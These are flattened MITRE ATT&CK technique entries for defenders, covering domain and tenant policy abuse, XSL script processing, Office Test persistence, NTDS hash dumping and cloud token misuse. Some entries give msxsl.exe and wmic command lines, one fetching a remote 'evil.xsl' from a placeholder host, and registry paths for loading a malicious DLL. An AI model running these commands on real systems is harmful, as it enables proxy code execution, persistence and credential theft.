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Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation. Modifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants. With sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include: * modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) * modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) * changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207). * adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023) Adversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.

enterprise-attack

Domain or Tenant Policy Modification

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1484 external_id: T1484 source_name: CISA SolarWinds Cloud Detection description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021. url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a source_name: ADSecurity GPO Persistence 2016 description: Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019. url: https://adsecurity.org/?p=2716 source_name: Microsoft 365 Defender Solorigate description: Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021. url: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/ source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020. url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml source_name: Microsoft - Update or Repair Federated domain description: Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020. url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365 source_name: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020. url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ source_name: Okta Cross-Tenant Impersonation 2023 description: Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024. url: https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection source_name: Wald0 Guide to GPOs description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019. url: https://wald0.com/?p=179 source_name: Harmj0y Abusing GPO Permissions description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019. url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ source_name: Sygnia Golden SAML description: Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021. url: https://www.sygnia.co/golden-saml-advisory

kill_chain_name: mitre-attack phase_name: privilege-escalation

Windows

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017) Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019) Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * <code>msxsl.exe customers[.]xml script[.]xsl</code> * <code>msxsl.exe script[.]xsl script[.]xsl</code> * <code>msxsl.exe script[.]jpeg script[.]jpeg</code> Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019) Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) * Local File: <code>wmic process list /FORMAT:evil[.]xsl</code> * Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>

enterprise-attack

XSL Script Processing

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1220 external_id: T1220 source_name: Reaqta MSXSL Spearphishing MAR 2018 description: Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018. url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/ source_name: Twitter SquiblyTwo Detection APR 2018 description: Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018. url: https://twitter.com/dez_/status/986614411711442944 source_name: LOLBAS Wmic description: LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019. url: https://lolbas-project.github.io/lolbas/Binaries/Wmic/ source_name: Microsoft msxsl.exe description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018. url: https://www.microsoft.com/download/details.aspx?id=21714 source_name: Penetration Testing Lab MSXSL July 2017 description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018. url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/ source_name: XSL Bypass Mar 2019 description: Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019. url: https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75 source_name: Microsoft XSLT Script Mar 2017 description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using <msxsl:script>. Retrieved July 3, 2018. url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

enterprise-attack

Scan Databases

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1596/005 external_id: T1596.005 source_name: Shodan description: Shodan. (n.d.). Shodan. Retrieved October 20, 2020. url: https://shodan.io

kill_chain_name: mitre-attack phase_name: reconnaissance

PRE

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS). On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.

enterprise-attack

Hidden Files and Directories

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1564/001 external_id: T1564.001 source_name: Sofacy Komplex Trojan description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ source_name: Antiquated Mac Malware description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ source_name: WireLurker description: Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017. url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)

enterprise-attack

Create Snapshot

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1578/001 external_id: T1578.001 source_name: Mandiant M-Trends 2020 description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. url: https://content.fireeye.com/m-trends/rpt-m-trends-2020 source_name: AWS Cloud Trail Backup API description: Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020. url: https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html source_name: Azure - Monitor Logs description: Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020. url: https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor source_name: Cloud Audit Logs description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020. url: https://cloud.google.com/logging/docs/audit#admin-activity source_name: GCP - Creating and Starting a VM description: Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020. url: https://cloud.google.com/compute/docs/instances/create-start-instance#api_2

kill_chain_name: mitre-attack phase_name: defense-evasion

IaaS

Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).

enterprise-attack

Determine Physical Locations

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1591/001 external_id: T1591.001 source_name: ThreatPost Broadvoice Leak description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020. url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/ source_name: SEC EDGAR Search description: U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021. url: https://www.sec.gov/edgar/search-and-access

kill_chain_name: mitre-attack phase_name: reconnaissance

PRE

Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy) There exist user and global Registry keys for the Office Test feature, such as: * <code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf</code> Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.

enterprise-attack

Office Test

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1137/002 external_id: T1137.002 source_name: Palo Alto Office Test Sofacy description: Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017. url: https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/ source_name: Hexacorn Office Test description: Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. Retrieved July 3, 2017. url: http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/

kill_chain_name: mitre-attack phase_name: persistence

Windows

Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020) As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.

enterprise-attack

Develop Capabilities

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1587 external_id: T1587 source_name: Mandiant APT1 description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf source_name: Kaspersky Sofacy description: Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. url: https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ source_name: Bitdefender StrongPity June 2020 description: Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020. url: https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf source_name: Talos Promethium June 2020 description: Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020. url: https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html source_name: Splunk Kovar Certificates 2017 description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020. url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

kill_chain_name: mitre-attack phase_name: resource-development

PRE

Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory) In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015) The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes. * Volume Shadow Copy * secretsdump.py * Using the in-built Windows tool, ntdsutil.exe * Invoke-NinjaCopy

enterprise-attack

NTDS

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1003/003 external_id: T1003.003 source_name: Metcalf 2015 description: Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015. url: http://adsecurity.org/?p=1275 source_name: Wikipedia Active Directory description: Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018. url: https://en.wikipedia.org/wiki/Active_Directory

kill_chain_name: mitre-attack phase_name: credential-access

Windows

Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP). The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details. Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)

enterprise-attack

SNMP (MIB Dump)

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1602/001 external_id: T1602.001 source_name: SANS Information Security Reading Room Securing SNMP Securing SNMP description: Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020. url: https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051 source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A source_name: Cisco Blog Legacy Device Attacks description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 source_name: Cisco Advisory SNMP v3 Authentication Vulnerabilities description: Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020. url: https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3

kill_chain_name: mitre-attack phase_name: collection

Network

Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.

enterprise-attack

Steganography

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1001/002 external_id: T1001.002 source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

kill_chain_name: mitre-attack phase_name: command-and-control

Linux

An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).

enterprise-attack

Malicious Link

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1204/001 external_id: T1204.001

kill_chain_name: mitre-attack phase_name: execution

Linux

Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta) For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017) Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles) Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

enterprise-attack

Application Access Token

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1550/001 external_id: T1550.001 source_name: Crowdstrike AWS User Federation Persistence description: Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023. url: https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/ source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019 description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019. url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ source_name: AWS Logging IAM Calls description: AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html source_name: AWS Temporary Security Credentials description: AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html source_name: Microsoft Identity Platform Access 2019 description: Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019. url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens source_name: Google Cloud Service Account Credentials description: Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022. url: https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials source_name: GCP Monitoring Service Account Usage description: Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022. url: https://cloud.google.com/iam/docs/service-account-monitoring source_name: okta description: okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019. url: https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen source_name: Rhino Security Labs Enumerating AWS Roles description: Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through ‘AssumeRole’. Retrieved April 1, 2022. url: https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration source_name: Staaldraad Phishing with OAuth 2017 description: Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019. url: https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/

kill_chain_name: mitre-attack phase_name: lateral-movement

Office 365

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem) Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.

enterprise-attack

LSASS Driver

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/008 external_id: T1547.008 source_name: Microsoft LSA Protection Mar 2014 description: Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017. url: https://technet.microsoft.com/library/dn408187.aspx source_name: Microsoft DLL Security description: Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017. url: https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx source_name: Microsoft Security Subsystem description: Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017. url: https://technet.microsoft.com/library/cc961760.aspx source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902

kill_chain_name: mitre-attack phase_name: privilege-escalation

Windows

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039). [PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution. Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.

enterprise-attack

Service Execution

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1569/002 external_id: T1569.002 source_name: Microsoft Service Control Manager description: Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020. url: https://docs.microsoft.com/windows/win32/services/service-control-manager source_name: Russinovich Sysinternals description: Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015. url: https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

kill_chain_name: mitre-attack phase_name: execution

Windows

Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation) Service or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands on hybrid-joined devices. An adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. Cloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods.

enterprise-attack

Cloud Accounts

